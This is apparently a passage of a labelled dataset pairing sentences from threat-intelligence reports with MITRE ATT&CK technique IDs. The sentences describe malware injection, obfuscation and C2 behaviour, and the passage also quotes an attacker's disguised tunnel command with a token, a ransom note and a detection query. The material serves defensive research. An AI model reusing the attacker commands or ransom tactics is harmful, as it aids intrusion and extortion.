"SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Additionally, this executable uses several shared libraries, including WDSync.dll which is hidden in the ZIP file and obfuscated with SmartAssembly.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "WDSync.dll embeds legitimate DLLs using the SmartAssembly feature Once a victim has executed one of the executables from the ZIP folder, a fake message box pops up and alerts the user to install a “framework” to open the file.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "If the file does not exist, the executable decodes and drops the next stage Inno-Setup executable to %temp%\\\\<[A-Z]{15}.exe> and executes it with /VERYSILENT /SUPPRESSMSGBOXES /NORESTART as arguments.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "The response is parsed, and the new stealer is downloaded and executed.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "And SYS01 stealer at heart relies on a social engineering campaign, so it’s important to train users about the tricks adversaries use", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Read Your Guide to Top Info Stealers of 2022 But humans are fallible, and limiting device functionality is not always possible when you need to ensure effective business functions.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "And malicious payloads are also sometimes encrypted/packed or obfuscated until loaded into runtime memory, which detection-based tools struggle to effectively scan.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "The combination of detection-based tools with Moving Target Defense creates the most effective Defense-in-Depth against threats like SYS01 stealer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "To learn more, read the white paper: Zero Trust + Moving Target Defense: The Ultimate Ransomware Strategy. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"} {"sentence": "Palo Alto Networks customers are protected from such attacks using Cortex XDR and WildFire.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "By fully controlling the HTTP headers just before the webpage is rendered, the malware can completely modify the forms and fool the user.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Chrome (chrome.dll) Firefox (nspr3.dll / nspr4.dll) Internet Explorer / Edge (Wininet.dll) ssl_read PR_Read HttpSendRequest ssl_write PR_Connect InternetCloseHandle PR_Close InternetReadFile PR_Write InternetQueryDataAvailable HttpQueryInfo InternetWriteFile HttpEndRequest InternetQueryOption InternetSetOption HttpOpenRequest InternetConnect Table 1.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Some banking Trojans opt to avoid code injection.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Some banking Trojans aim to infect a target process as soon as it is launched, by injecting code into a predicted parent process of the real target.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Inside the hook, the banking Trojan manipulates the process creation flow.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Then, for example, it initializes the webinjects module inside the remote process.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "For example, Trickbot injects the main bot into svchost.exe.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "The architecture of these two banking Trojans dictates that their main bot persists inside svchost.exe while the web content manipulation and credential stealing modules live inside the browser processes.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "This can be done by placing hooks on critical APIs, generating a stack trace and inspecting the stack trace for wow64cpu.dll.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "How to Prevent PE Injection This technique can be prevented by inspecting the buffer sent to NtWriteVirtualMemory for executable artifacts.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Process Injection via Hooking Hooking can be used as an injection technique.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "The injection flow of IcedID is slightly different than that of Zberp.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "However, because IcedID hooked NtCreateUserProcess, the hook handler is called right after the call to CreateProcessA. In the handler, it performs the following activities: Unhooks NtCreateUserProcess Calls NtCreateUserProcess (which creates svchost.exe) Decompresses a local buffer that contains the payload to inject using RtlDecompressBuffer Allocates memory for the payload at the remote svchost.exe process Writes the payload into the remote svchost.exe using NtAllocateVirtualMemory and ZwWriteVirtualMemory", "labels": ["T1140"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "The ROP chain then copies the payload from the RW region into the newly allocated RWX region, and lastly, executes it.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "AtomBombing proof of concept code.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Both API calls have to be called into a remote process.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "Palo Alto Networks customers using Cortex XDR receive protections from such attacks in different layers, including the following: Local Analysis Machine Learning module Behavioral Threat Protection Behavioral indicators of compromise (BIOC) and Analytics BIOCs rules These layers identify the tactics and techniques that banking Trojans use at different stages of their execution.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"} {"sentence": "The malware is injected and executed within the normal Windows process called mstsc.exe.", "labels": ["T1055"], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"} {"sentence": "[File Detection]– Trojan/Win.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"} {"sentence": "Agent.", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"} {"sentence": "R580958", "labels": [], "doc_title": "Tracking Traces of Malware Disguised as Hancom Office Document File and Being Distributed RedEyes"} {"sentence": "It loads several libraries during the runtime and generates the beacon traffic according to the embedded configuration file.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Cobalt Strike has been used by many actors in the past and is a de-facto standard tool for post-exploitation activities and pivoting.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "The attacker's choice of Myanmar-specific domains for domain fronting may indicate an interest in the geopolitics of this area of the world.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "The defenders should be constantly vigilant and monitor network traffic to detect Cobalt Strike activities, since it is one of the most commonly used offensive tools by crimeware and APT operators.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Another sample discovered in late August 2021 consisted of the C2 host URI xxx[.]xxxx[.]tk and the host header setting configured to point to test[.]softlemon[.]net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "We extracted the beacon config from the payload that showed us the actor has used different values for the User Agent, C2-Server and Host-header in different malwares of this campaign.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "The beacon configuration of samples usually has a User Agent, which is Mozilla compatible and of Windows 7. C2 server, UserAgent and de-facto C2 variations in the beacons.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Domain fronting The actor in this campaign has used domain fronting, which is a technique which can use high reputation domains to conceal the Cobalt Strike command and control traffic.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "This website has previously been compromised in February by the Brotherhood of Myanmar group, a collection of militia groups.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Malicious actors may misuse various content delivery networks (CDNs) to set up redirects of serving content to the content served by attacker-controlled C2 hosts.", "labels": ["T1090"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Cloudflare identifies distributions by the FQDN used to request resources.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "This subdomain tells Cloudflare to associate that DNS record with a specific distribution.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "The beacon calls home www[.]mdn[.]gov[.]mm,/api/3 and has set the Host header to the actual C2 server test[.]softlemon[.]net.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "The DNS request that led them there will be lost and relies on other parts of the HTTP request, including the Host header and the actual C2 test[.]softlemon[.]net.", "labels": ["T1071.001"], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "Soon after that, the beacon initiates the Cobalt Strike beacon traffic to the C2 server.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"} {"sentence": "This information will provide organizations with detailed guidance on what they need to defend against to protect their businesses.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1133 – External Remote Service] External IP access from the threat actor was routed through European TOR VPN exit nodes.", "labels": ["T1090"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "LSASS Memory]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Credential access activity also occurred over the network, as this Sophos endpoint detection indicates: ‘Creds_4h (T1003.002)’ malicious behaviour detected in ‘C:\\Windows\\System32\\svchost.exe’ Incident #2 While execution details are limited, multiple systems had the file C:\\Windows\\MEMORY.DMP created prior to ransomware execution correlating with Windows event log data.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Aside from ensuring full coverage of your endpoint agent, special care should be taken to segment domain admin accounts from workstation admin accounts to reduce the impact of credential dumping when it does occur.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "0xC2980947 volume: 1", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1018 - Remote System Discovery]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Guidance Securing RDP access can be difficult for many companies, but it is a project worthy of investment.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Lastly, a detection should be in place to promptly review anomalous RDP connections to deconflict them with approved system administration activity.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "[T1219 – Remote Access Software] C:\\programdata\\windows_update.exe tunnel run --token eyJhIjoiODllZDkxZjgyNWE3ZGM3NGY4ZmRlMTc2MWY3ZDcwMWMiLCJ0IjoiMTUwMGIxMGEtZjM3My00ZmJlLTk 4ZTYtODgwMDMxYzE1M2VkIiwicyI6IlpURmtZV0V6TUdFdFpETXlOeTAwT0dRNUxUazNaakF0T1RsbVpESmxabU0yWVRWaCJ9 hxxps://download[.]radmin[.]com/download/files/Radmin_3.5.2.1_EN[.]zip (Radmin_3.5.2.1_EN.zip)", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Aside from allowing command and control (C2) and data exfiltration opportunities for an attacker, there is also a latent risk of the software itself having vulnerabilities and being unpatched because it’s not being managed by IT.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Collection Incident #2 A confirmed compromised account was used to download the WinRar archiving software and several files were staged for possible, but unconfirmed exfiltration [T1560.001 – Archive Collected Data: Archive via Utility] URL Visited: hxxps://notifier.rarlab[.]com/?language=English&source=RARLAB&landingpage=first&version=621&architecture=64 Userassist 2023-03-15T10:15:55Z C:\\Users\\\\Downloads\\winrar.exe Userassist 2023-03-15T11:04:42Z C:\\ProgramData\\winrar.exe URL Visited: E:/Dept.rar URL Visited: E:/Channel.rar Guidance Often by the time a threat actor is staging data, it’s too late to have a good security outcome.", "labels": ["T1074.001"], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "DLP solutions, while having a history of being difficult to implement and maintain, are worth evaluating for high-risk data.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Creates the C:\\fn.txt or C:\\etc\\fn.txt ransom note when complete Dwell time of 7 days before executing ransomware On endpoints protected with Sophos the following detections triggered: CryptoGuard detected ransomware in C:\\ProgramData\\dllhost32.exe 'Cleanup_1a (T1486)' malicious behavior detected in 'C:\\ProgramData\\dllhost32.exe' Incident #2 Ransomware binary C:\\ProgramData\\hpupdate.exe is executed and detected as Troj/Ransom-GWG by Sophos [T11486 – Data Encrypted for Impact]", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "These extensions are predominantly related to databases, but also include targeting of virtual memory and disk images.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Figure 5: File types excluded by AkiraTakeaway:", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "Acknowledgements Sophos would like to acknowledge the contributions of Melisa Kelly, Jason Jenkins, Anand Ajjan, Steeve Gaudreault, Kostas Tsialemis, and Sean Gallagher this report.", "labels": [], "doc_title": "Akira Ransomware is bringin 1988 back"} {"sentence": "AdGuard issued a total account-wide password reset, but states that no internal servers or data were compromised.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This vulnerability is in all operating systems (macOS, Windows, and Linux), and have yet to see a patch.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Spearphishing Attachment (T1193) Crippling DDoS Vulnerability Put The Entire Bitcoin Market At Risk (September 20, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The malicious JavaScript code was injected into the company’s online shopping “Billing Information” page on their website that sent the credentials entered over to the domain controlled by the threat group where they were subsequently stored.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Flight display screens at Bristol Airport were inoperable for three consecutive days following a ransomware attack that put the screens out of order.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The airport resorted to manually writing down flight times, updates, and gate numbers on whiteboards and flip charts to maintain flight services.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The two vulnerabilities have been registered as “CVE-2018-1149” and “CVE-2018-1150” and are linked to the third-party vendor software installed on the device.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This vulnerability could then be leveraged to take over the NVRMini2 device and manipulate the connected cameras.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This shows that the backdoor’s authors have deep knowledge of the targeted software and opted for this sophisticated method instead of collecting the data via a simpler yet “louder” approach, such as keylogging.", "labels": ["T1078"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Since the decryption mechanism wasn’t publicly available, there are at least three possible scenarios of how the attackers could have created the algorithm: The most probable option is that the attackers acquired and reverse engineered the implementation of the ORACLE MICROS RES 3700 POS and the libraries responsible for encryption and decryption of the database passwords.", "labels": ["T1027", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The malware operators could have bought the code from an underground market.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "FROM micros.interface_def Queried data contain various MICROS RES 3700 POS system definitions and configurations (see Figure 3).", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The response includes a Login Acknowledgement packet which, in both cases – success and failure – contains information about the database server and the TDS versions used.", "labels": ["T1082"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This is a lightweight module that doesn’t have an assigned ID.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Initial dropper The initial dropper is responsible for installing the next stage of the malware.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The encrypted payload, containing the main functionality of the dropper, is stored in the dropper’s resources as bitmaps named from A to L.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "We have found seven different versions of the loader executables, each having a different compilation timestamp, with the oldest one probably originating in December 2017 and the latest in June 2020.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "For the full timeline, see Figure 9.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "List of pipe message/command types Message codeDescription 0x10000012inject and execute received module in specified process 0x10000013data for C&C server (execution logs, stolen data, …)", "labels": ["T1041", "T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "0x10000023set C&C communication time intervals 0x10000024close received list of handles 0x10000025get handle of the process with specified PID, duplicate it for some other specified process and send it through the received named pipe handle 0x10000072C&C commands (encrypted) – see Table 4 for the full list of available commands For the detailed structure and format used for the messages transferred through the pipe refer to Figure 10. Figure 10.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Structure of the messages sent to the C&C Before any communication with the C&C, the main module generates two clean URLs and uses them to check for an internet connection and a clean-looking cover for the malicious traffic.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The URLs use the following format www.%domain%[.]com/?%rand%, where %domain% is randomly chosen from google, bing and yahoo and %rand% is a random 32-bit unsigned integer represented in ASCII.", "labels": ["T1573.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "POST /robots.txt", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "List of available main module commands Command codeCommand description 0x01Exit 0x05Update list of C&C addresses 0x0AInject and execute received module in specified process 0x0BInject and execute received module in specified process (module name is included in the command) 0x0COptionally write module to the encrypted storage, then inject and execute received module in specified process – add it to the list of the installed modules 0x0DSend command to the named pipe belonging to the module with specified ID and queue the response for the upload to the C&C 0x0EUninstall module with specified ID (remove from the in-memory list and encrypted storage)", "labels": ["T1027", "T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "ModPipe’s architecture, modules and their capabilities also indicate that its writers have extensive knowledge of the targeted RES 3700 POS software.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Command and ControlT1071.001Application Layer Protocol: Web ProtocolsModPipe uses HTTP for command and control.", "labels": ["T1071.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Over C2 ChannelModPipe exfiltrates data over its C&C channel. T1029Scheduled TransferDefault interval used by ModPipe for uploading data to C&C is set to 30 minutes.", "labels": ["T1041"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This page provides an overview of the situation, a threat analysis, information for hunters, and information on detection protection.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "Figure 5: A timestamp mechanism in the code Looking at this, we can see a while loop that calls the check_timestamp function and receives a 64-bit integer value from GetSystemTimeAsFileTime Api call.", "labels": ["T1106"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "%H:%i:%s')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "Enabling firewall customers to identify user agents of compromised version of 3cx SELECT timestamp, log_component, log_subtype, user_name, user_group, app_name, src_ip, src_port, protocol, dst_ip, dst_port, http_category, url, domain, http_user_agent, http_status FROM xgfw_data WHERE LOWER(log_component) = 'http' AND ( LOWER(http_user_agent) LIKE '%3cxdesktopapp/18.12.402%' OR LOWER(http_user_agent) LIKE '%3cxdesktopapp/18.12.416%' OR LOWER(http_user_agent) LIKE '%", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "%3cxdesktopapp/18.11.1197%' )", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"} {"sentence": "We also discovered that GoBruteforcer had deployed an internet relay chat (IRC) bot on the victim server, which communicates with the attacker’s server.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "This blog details information collected based on a static overview of the GoBruteforcer attack chain components.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Once a host is found, GoBruteforcer tries to get access to the server via brute force.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Figure 1 depicts this attack flow.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "We have notified the victim about the malicious GoBruteforcer binaries hosted on their site. Figure 2.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "To do this, the malware uses a set of credentials that is hard coded into the malware binary, as shown in Figure 6. Figure 6.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "GoBruteforcer deploying IRC bot for x86-supported platforms.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Victim and C2 communication via IRC bot.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Postgres ping done by GoBruteforcer malware.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "For the FTP Service When scanning for FTP services, GoBruteforcer checks whether port 21 is open.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Along with these capabilities, the web shell also has a packet crafter (shown in Figure 16) having the options for input like host, start, end port and timeouts for connection and the stream.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "VirusTotal detection: older version of GoBruteforcer.Conclusion Web servers have always been a lucrative target for threat actors.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"} {"sentence": "Ok, so even though it’s the weekend, we have what appears to be a new macOS malware specimen from one of the more notorious ransomware gangs!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Good news, this is trivial!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "(lldb) b 0x10000b11c (lldb) r * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 locker_Apple_M1_64`main: -> 0x10000b11c", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "The apple_config variable is noteworthy as this is the only instance (I found) of any macOS specific references / customizations.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "For example, here we see it set the bdaemon variable to 0x1, or ’true’ …even though its already set to that value.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "0x39 for byte in chunk)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Your data is stolen and encrypted.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "The sooner you pay the ransom, the sooner your company will be safe.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "For example your company is insured for 10 million dollars, while negotiating with your insurance agent about the ransom he will offer us the lowest possible amount, for example 100 thousand dollars, we will refuse the paltry amount and ask for example the amount of 15 million dollars, the insurance agent will never offer us the top threshold of your insurance of 10 million dollars.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Once the malware has de-XOR’d all its strings, it invokes a method named go.", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "This parses command-line options (updating global variables is relevant), and performs various other initializations, such as invoking a function named sodium_init (likely to initialize the commonly used Sodium crypto library).", "labels": ["T1059.003"], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": ":grinning_face_with_sweat:", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "We’ll take a peek at the log file’s contents shortly.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "-t 0 -f 1", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Still the fact that a large ransomware gang has apparently set its sights on macOS, should give us pause for concern and also talk about preventing this (and future) samples in the first place.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "Specifically Apple has implemented SIP (and now read-only volumes) to protect OS-level files.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "I've been clear to articulate these in \"RansomWhere?\"'s tool page: RansomWhere?'s Limitations Most notably, “RansomWhere?” is slightly reactive, meaning several files maybe be encrypted (and thus ransomed) before the tool detects and blocks the ransomware.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "And though “RansomWhere?” is a bit dated, it appears to be able to generically detect this LockBit sample …even though it had no a priori knowledge of this malware: RansomWhere?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"} {"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary In recent years, more and more ready-made malware is released on software development hosting sites available for everybody to use – including threat actors.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "This not only saves the bad guys development time, but also makes it much easier for them to find new ideas to prevent detection of their malware.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Unit 42 researchers have found several malicious IronPython scripts whose purpose is to load and run Turla’s malware tools on a victim’s system.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "The overall method is known as Bring Your Own Interpreter (BYOI).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "While the IronPython scripts are only the first part of the tool, the main task of loading malware is done by an embedded process injector.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "AutoFocus customers can investigate this activity with the tag “IronNetInjector”.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "What Is IronPython?", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": ".NET languages can use Python code just as easily.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "It is a Python interpreter written entirely in C#.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "Currently, it fully supports Python 2, while support for Python 3 is still in development.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "You can make use of the .NET framework APIs without having to compile a .NET assembly.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "IronNetInjector IronNetInjector is made of an IronPython script that contains a .NET injector and one or more payloads.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "The decompiled code is self-explanatory as meaningful function, method and variable names are used throughout the code.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "ComRAT variant • 120profilec.py: .NET injector (variant 2019)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "ComRAT variant • 220profile.py: .NET injector (variant 2018)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "It becomes clear that IronNetInjector is mostly used to load ComRAT.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "As a command line argument, the Rijndael decryption key is passed.", "labels": ["T1059.003", "T1140"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "From this point on, the .NET injector takes control over the further execution.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "GetMethodResult:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "StartClrRuntime:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "In all the IronPython scripts we found, only the native payload to native remote process injection option is used.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "There are still some questions we need answers for, such as what other samples get loaded beside ComRAT and the RPC backdoor?", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"} {"sentence": "POSHSPY makes the most of using built-in Windows features – so-called “living off the land” – to make an especially stealthy backdoor.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Later in that same engagement, the attacker updated the deployment of the backdoor to use WMI for storage and persistence.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "Users with sufficient system-level privileges can define custom classes or extend the functionality of the many default classes.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"} {"sentence": "In one instance, APT29 created a Filter named BfeOnServiceStartTypeChange (Figure 1), which they configured to execute every 